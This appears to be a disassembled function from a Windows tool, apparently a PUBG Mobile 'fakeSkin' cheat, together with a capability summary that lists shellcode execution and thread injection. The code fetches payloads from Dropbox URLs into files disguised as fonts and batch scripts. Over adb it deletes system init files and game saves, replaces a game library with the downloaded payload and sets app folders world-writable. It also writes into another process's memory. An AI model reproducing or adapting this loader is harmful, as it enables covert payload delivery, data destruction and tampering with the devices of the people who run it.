Function at 0x462280
Capabilities:
Allocate or change rwx memory
Create thread
Delete file
Download url
Execute command
Execute shellcode via indirect call
Inject thread
Receive data
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5cb421
mov eax, dword fs:[0]
push eax
sub esp, 0x16c
mov eax, dword [0x654c00]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [0x65c8b0]
lea ecx, [ebp - 0x64]
call fcn.0045fe40
mov dword [ebp - 4], 0
mov eax, bind
mov ecx, dword [ebp - 0x54]
sub eax, ecx
cmp eax, 0x12
jb 0x462ee7
cmp dword [ebp - 0x50], 0xf
lea eax, [ebp - 0x64]
push 0x12
cmova eax, dword [ebp - 0x64]
push str.intermodskin.ini
push ecx
push eax
push ecx
push dword [ebp - 0x130]
lea ecx, [ebp - 0x7c]
call fcn.00456cc0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x7c]
cmp dword [ebp - 0x68], 0xf
cmova eax, dword [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x28
movups xmmword [ecx], xmm0
push str.adb_shell_rm__rf__system_init.environ.rc
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov ecx, esp
xorps xmm0, xmm0
push 0x20
push str.adb_shell_rm__rf__system_init.rc
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov ecx, esp
xorps xmm0, xmm0
push 0x2d
push str.adb_shell_rm__rf__system_init.usb.configfs.cs
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov ecx, esp
xorps xmm0, xmm0
push 0x24
push str.adb_shell_rm__rf__system_init.usb.rc
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov ecx, esp
xorps xmm0, xmm0
push 0x27
push str.adb_shell_rm__rf__system_init.vbox86.rc
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov ecx, esp
xorps xmm0, xmm0
push 0x29
push str.adb_shell_rm__rf__system_init.zygote32.rc
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileA]
add esp, 0x18
push 0
push 0
push str.C:WindowsFonts_abc.ttf
push str.https:__dl.dropbox.com_scl_fi_7bi6v38r4ovyljz1r5ydw_appo.xml_rlkey65d4rvd64361dxx10tquw5hvast2fvy6diedl0
push 0
call esi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x36
movups xmmword [ecx], xmm0
push str.adb_push_C:WindowsFonts_abc.ttf__data_system_abc.xml
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
add esp, 0x18
cmp dword [0x65c8b4], 1
jne 0x462503
cmp edi, 1
jne 0x462475
push 0
push 0
push str.C:windowsgl.bat
push str.https:__dl.dropbox.com_scl_fi_98rr6jt3aohxd98h2pknc_GL.bat_rlkeyzlp9o8orwkf1aeqe8204xywzxstalc2yjq7dl0
push 0
call esi
sub esp, 0x18
mov ecx, esp
push 0x11
push str.C:windowsgl.bat
jmp 0x4624e2
cmp edi, 4
jne 0x46249a
push 0
push 0
push str.C:windows_vng.bat
push str.https:__dl.dropbox.com_scl_fi_f4zpcyojhnrl6nix5z4ig_vng.bat_rlkeyht9un3vwbkya1xwq2bbdbsm7dstcpk4xdikdl0
push 0
call esi
sub esp, 0x18
mov ecx, esp
push 0x12
push str.C:windows_vng.bat
jmp 0x4624e2
cmp edi, 5
jne 0x4624bf
push 0
push 0
push str.C:windows_tw.bat
push str.https:__dl.dropbox.com_scl_fi_w7x4z1n3ha4pb07f0vyfz_tw.bat_rlkeykybwzojecbv5ok3pqg1jf9rklst5gp0zgipdl0
push 0
call esi
sub esp, 0x18
mov ecx, esp
push 0x11
push str.C:windows_tw.bat
jmp 0x4624e2
cmp edi, 3
jne 0x462503
push 0
push 0
push str.C:windowskr.bat
push str.https:__dl.dropbox.com_scl_fi_kuuu7dyverp26lqwvp9ny_kr.bat_rlkeyp5uue1wgamfb73dv1be1yi9cistsisua6a0dl0
push 0
call esi
sub esp, 0x18
mov ecx, esp
push 0x11
push str.C:windowskr.bat
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
add esp, 0x18
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x8b
movups xmmword [ecx], xmm0
push str.adb_shell_rm__rf__storage_emulated_0_Android_data_com.tencent.ig_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_SaveGames_.json
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov ecx, esp
xorps xmm0, xmm0
push 0x8f
push str.adb_shell_rm__rf__storage_emulated_0_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_SaveGames_.json
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov ecx, esp
xorps xmm0, xmm0
push 0x8c
push str.adb_shell_rm__rf__storage_emulated_0_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_SaveGames_.json
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov ecx, esp
xorps xmm0, xmm0
push 0x8e
push str.adb_shell_rm__rf__storage_emulated_0_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_SaveGames_.json
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
add esp, 0x18
push 0x24
push str.Confirm_Action
push str.Do_you_want_to_use_fakeSkin_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x46283a
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x168], 0
push str.true12
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 0
movups xmmword [ebp - 0x178], xmm0
call fcn.00456320
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x160]
push 0xb
xorps xmm0, xmm0
mov dword [ebp - 0x150], 0
push str.modskin.ini
movups xmmword [ebp - 0x160], xmm0
mov dword [ebp - 0x14c], 0
call fcn.00456320
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 3
call fcn.0045fe40
mov byte [ebp - 4], 4
mov eax, bind
mov ecx, dword [ebp - 0x3c]
sub eax, ecx
cmp eax, 7
jb 0x462eec
cmp dword [ebp - 0x38], 0xf
lea eax, [ebp - 0x4c]
push 7
cmova eax, dword [ebp - 0x4c]
push str.inter_
push ecx
push eax
push ecx
push dword [ebp - 0x130]
lea ecx, [ebp - 0x148]
call fcn.00456cc0
mov byte [ebp - 4], 5
lea edx, [ebp - 0x160]
cmp dword [ebp - 0x14c], 0xf
mov ecx, dword [ebp - 0x138]
cmova edx, dword [ebp - 0x160]
mov eax, dword [ebp - 0x134]
sub eax, ecx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x150]
push ecx
push edx
cmp ecx, eax
ja 0x4626f9
mov eax, dword [ebp - 0x14]
lea esi, [ebp - 0x148]
add eax, ecx
cmp dword [ebp - 0x134], 0xf
mov dword [ebp - 0x138], eax
cmova esi, dword [ebp - 0x148]
mov eax, dword [ebp - 0x14]
add eax, esi
push eax
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x14]
add esp, 0xc
mov ecx, dword [ebp - 0x150]
add eax, esi
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov byte [eax + ecx], 0
lea eax, [ebp - 0x148]
jmp 0x46270c
mov byte [ebp - 0x14], 0
push dword [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x148]
call fcn.00456190
mov dword [ebp - 0x24], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x34], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x24], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea ecx, [ebp - 0x148]
mov byte [ebp - 4], 7
call fcn.00455150
push 0xb0
lea eax, [ebp - 0x12c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
lea ecx, [ebp - 0x12c]
cmova eax, dword [ebp - 0x34]
add esp, 4
push 2
push eax
call fcn.00465ea0
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x130], eax
mov byte [ebp - 4], 8
cmp dword [ebp - 0xdc], 0
je 0x462805
cmp dword [ebp - 0x164], 0xf
lea edx, [ebp - 0x178]
push dword [ebp - 0x168]
cmova edx, dword [ebp - 0x178]
lea ecx, [ebp - 0x12c]
call fcn.0046d380
add esp, 4
lea ecx, [ebp - 0x128]
call fcn.00454a90
test eax, eax
jne 0x462805
mov eax, dword [ebp - 0x12c]
lea ecx, [ebp - 0x12c]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x12c]
call fcn.0045d6e0
lea ecx, [ebp - 0x34]
call fcn.00455150
lea ecx, [ebp - 0x4c]
call fcn.00455150
lea ecx, [ebp - 0x160]
call fcn.00455150
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 1
call fcn.00455150
cmp edi, 1
jne 0x46299d
push 0
push 0
push str.C:WindowsFonts_ariiell.ttf
push str.https:__dl.dropbox.com_scl_fi_nd4zgv3eh8tjp5h2j2txa_33.so_rlkey0pd2lkx6vq9nuy6xxuaxwwmgmst2fdgi9uydl0
push 0
call esi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x55
movups xmmword [ecx], xmm0
push str.adb_shell_cp__data_data_com.tencent.ig_lib_libmarsxlog.so__data_share1_libmarsxlog.so
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov ecx, esp
xorps xmm0, xmm0
push 0x2f
push str.adb.exe_shell_touch__data_system_settings_a.xml
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov ecx, esp
xorps xmm0, xmm0
push 0x52
push str.adb_push_C:WindowsFonts_ariiell.ttf__data_data_com.tencent.ig_lib_libmarsxlog.so
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
push 0xbb8
call edi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x4c
movups xmmword [ecx], xmm0
push str.adb.exe_shell_monkey__p_com.tencent.ig__c_android.intent.category.LAUNCHER_1
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
add esp, 0x18
push 0
push 0
push 0
push 0x460f80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xfa0
call edi
call fcn.0045f000
push 0x1f4
mov esi, eax
call edi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push 0x1fffff
call esi
push 0x1b58
call edi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x28
movups xmmword [ecx], xmm0
push str.adb_shell_rm__data_system_settings_a.xml
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
push str.C:WindowsFonts_ariiell.ttf
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 0x1c
push 0
push 0
push 0
push 0x461890
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x462e2b
cmp edi, 2
jne 0x462b07
push 0
push 0
push str.C:WindowsFonts_ariiell.ttf
push str.https:__dl.dropbox.com_scl_fi_nd4zgv3eh8tjp5h2j2txa_33.so_rlkey0pd2lkx6vq9nuy6xxuaxwwmgmst2fdgi9uydl0
push 0
call esi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x57
movups xmmword [ecx], xmm0
push str.adb_shell_cp__data_data_com.vng.pubgmobile_lib_libmarsxlog.so__data_data_libmarsxlog.so
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov ecx, esp
xorps xmm0, xmm0
push 0x2f
push str.adb.exe_shell_touch__data_system_settings_a.xml
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov ecx, esp
xorps xmm0, xmm0
push 0x56
push str.adb_push_C:WindowsFonts_ariiell.ttf__data_data_com.vng.pubgmobile_lib_libmarsxlog.so
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
push 0xbb8
call edi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x50
movups xmmword [ecx], xmm0
push str.adb.exe_shell_monkey__p_com.vng.pubgmobile__c_android.intent.category.LAUNCHER_1
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
add esp, 0x18
push 0
push 0
push 0
push 0x4610f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xfa0
call edi
push 0xfa0
call edi
call fcn.0045f000
push 0x1f4
mov esi, eax
call edi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push 0x1fffff
call esi
push 0x1b58
call edi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x28
movups xmmword [ecx], xmm0
push str.adb_shell_rm__data_system_settings_a.xml
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
push str.C:WindowsFonts_ariiell.ttf
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 0x1c
push 0
push 0
push 0
push 0x461b00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x462e2b
cmp edi, 3
jne 0x462c71
push 0
push 0
push str.C:WindowsFonts_ariiell.ttf
push str.https:__dl.dropbox.com_scl_fi_nd4zgv3eh8tjp5h2j2txa_33.so_rlkey0pd2lkx6vq9nuy6xxuaxwwmgmst2fdgi9uydl0
push 0
call esi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x54
movups xmmword [ecx], xmm0
push str.adb_shell_cp__data_data_com.rekoo.pubgm_lib_libmarsxlog.so__data_data_libmarsxlog.so
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov ecx, esp
xorps xmm0, xmm0
push 0x2f
push str.adb.exe_shell_touch__data_system_settings_a.xml
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov ecx, esp
xorps xmm0, xmm0
push 0x53
push str.adb_push_C:WindowsFonts_ariiell.ttf__data_data_com.rekoo.pubgm_lib_libmarsxlog.so
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
push 0xbb8
call edi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x4d
movups xmmword [ecx], xmm0
push str.adb.exe_shell_monkey__p_com.rekoo.pubgm__c_android.intent.category.LAUNCHER_1
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
add esp, 0x18
push 0
push 0
push 0
push 0x461260
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xfa0
call edi
push 0xfa0
call edi
call fcn.0045f000
push 0x1f4
mov esi, eax
call edi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push 0x1fffff
call esi
push 0x1b58
call edi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x28
movups xmmword [ecx], xmm0
push str.adb_shell_rm__data_system_settings_a.xml
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
push str.C:WindowsFonts_ariiell.ttf
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 0x1c
push 0
push 0
push 0
push 0x461d80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x462e2b
cmp edi, 4
jne 0x462dd8
push 0
push 0
push str.C:WindowsFonts_ariiell.ttf
push str.https:__dl.dropbox.com_scl_fi_nd4zgv3eh8tjp5h2j2txa_33.so_rlkey0pd2lkx6vq9nuy6xxuaxwwmgmst2fdgi9uydl0
push 0
call esi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x56
movups xmmword [ecx], xmm0
push str.adb_shell_cp__data_data_com.pubg.krmobile_lib_libmarsxlog.so__data_data_libmarsxlog.so
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov ecx, esp
xorps xmm0, xmm0
push 0x2f
push str.adb.exe_shell_touch__data_system_settings_a.xml
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov ecx, esp
xorps xmm0, xmm0
push 0x55
push str.adb_push_C:WindowsFonts_ariiell.ttf__data_data_com.pubg.krmobile_lib_libmarsxlog.so
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
push 0xbb8
call edi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x4f
movups xmmword [ecx], xmm0
push str.adb.exe_shell_monkey__p_com.pubg.krmobile__c_android.intent.category.LAUNCHER_1
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
add esp, 0x18
push 0
push 0
push 0
push 0x4613d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xfa0
call edi
push 0xfa0
call edi
call fcn.0045f000
push 0x1f4
mov esi, eax
call edi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push 0x1fffff
call esi
push 0x1b58
call edi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x28
movups xmmword [ecx], xmm0
push str.adb_shell_rm__data_system_settings_a.xml
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00460bd0
push str.C:WindowsFonts_ariiell.ttf
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 0x1c
push 0
push 0
push 0
push 0x462000
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x462e2b
cmp edi, 5
jne 0x462e25
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x46
movups xmmword [ecx], xmm0
push str.adb_shell_am_start__n_com.rekoo.pubgm_com.epicgames.ue4.SplashActivity
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00456320
call fcn.00451a30
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.adb_shell_chmod__R_777__data_data_com.rekoo.pubgm_lib
call esi
push str.adb_shell_chmod__R_777__data_data_com.rekoo.pubgm_files
call esi
push str.adb_shell_chmod__R_777__data_data_com.rekoo.pubgm_cache
call esi
add esp, 0x24
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp dword [0x65c8c0], 1
jne 0x462ebc
mov dword [ebp - 0x18], 0x438c0000
call fcn.0045f000
push eax
push 0
push 0x1fffff
call esi
mov dword [0x65c8c4], eax
call fcn.0045f000
push eax
push 0
push 0x1fffff
call esi
push 0
push 4
lea ecx, [ebp - 0x14]
push ecx
push 0xe0c36e8
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edi, dword [ebp - 0x14]
lea eax, [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
add edi, 0x5bcc908
push eax
push 0x40
push 4
push edi
push dword [0x65c8c4]
call esi
push 0
push 4
lea eax, [ebp - 0x18]
push eax
push edi
push dword [0x65c8c4]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x1c]
push eax
push 2
push 4
push edi
push dword [0x65c8c4]
call esi
lea ecx, [ebp - 0x7c]
call fcn.00455150
lea ecx, [ebp - 0x64]
call fcn.00455150
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005c56ce
mov esp, ebp
pop ebp
ret
call fcn.0044e660
call fcn.0044e660
int3